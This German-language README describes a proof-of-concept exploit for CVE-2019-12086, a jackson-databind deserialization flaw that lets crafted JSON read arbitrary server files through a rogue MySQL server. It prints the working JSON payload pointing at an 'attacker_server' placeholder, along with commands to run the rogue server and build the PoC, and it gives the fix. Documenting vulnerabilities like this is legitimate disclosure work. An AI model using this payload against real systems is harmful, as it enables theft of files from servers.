
Proof-of-Concept-Exploit für CVE-2019-12086: Jackson databind Deserialisierungsschwachstelle, die das Lesen beliebiger Dateien über einen schädlichen MySQL-Server ermöglicht, wenn Default Typing aktiviert ist.
Wenn Default Typing aktiviert ist und sich im Klassenpfad mysql-connector-java in Version 8.0.15 (veröffentlicht am 1.2.2019) oder niedriger befindet, kann ein Angreifer durch Senden böswilliger JSON-Daten beliebige Dateien lesen. Die Bibliothek mysql-connector-java ist der übliche MySQL-JDBC-Treiber für Datenbankverbindungen.
Die CVE-Beschreibung lautet wie folgt:
Ein Problem mit polymorpher Typisierung wurde in FasterXML jackson-databind 2.x vor 2.9.9 entdeckt. Wenn Default Typing (entweder global oder für eine bestimmte Eigenschaft) für einen extern zugänglichen JSON-Endpunkt aktiviert ist, der Dienst das mysql-connector-java-JAR (8.0.14 oder früher) im Klassenpfad hat und ein Angreifer einen manipulierten MySQL-Server hosten kann, der vom Opfer erreichbar ist, kann ein Angreifer eine manipulierte JSON-Nachricht senden, die es ihm ermöglicht, beliebige lokale Dateien auf dem Server zu lesen. Dies geschieht aufgrund fehlender com.mysql.cj.jdbc.admin.MiniAdmin-Validierung.
Details zur Schwachstelle:
com.mysql.cj.jdbc.admin.MiniAdmin akzeptiert einen String-Wert, der eine JDBC-URL darstellt. Die Klasse com.mysql.cj.jdbc.admin.MiniAdmin stellt bei der Initialisierung eine Verbindung zur in dieser JDBC-URL angegebenen MySQL-Datenbank her.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# IP & Port im Payload bearbeiten "./volume/src/main/java/poc/Main.java".
$ docker build .
Upgrade von Jackson auf 2.9.9 oder höher.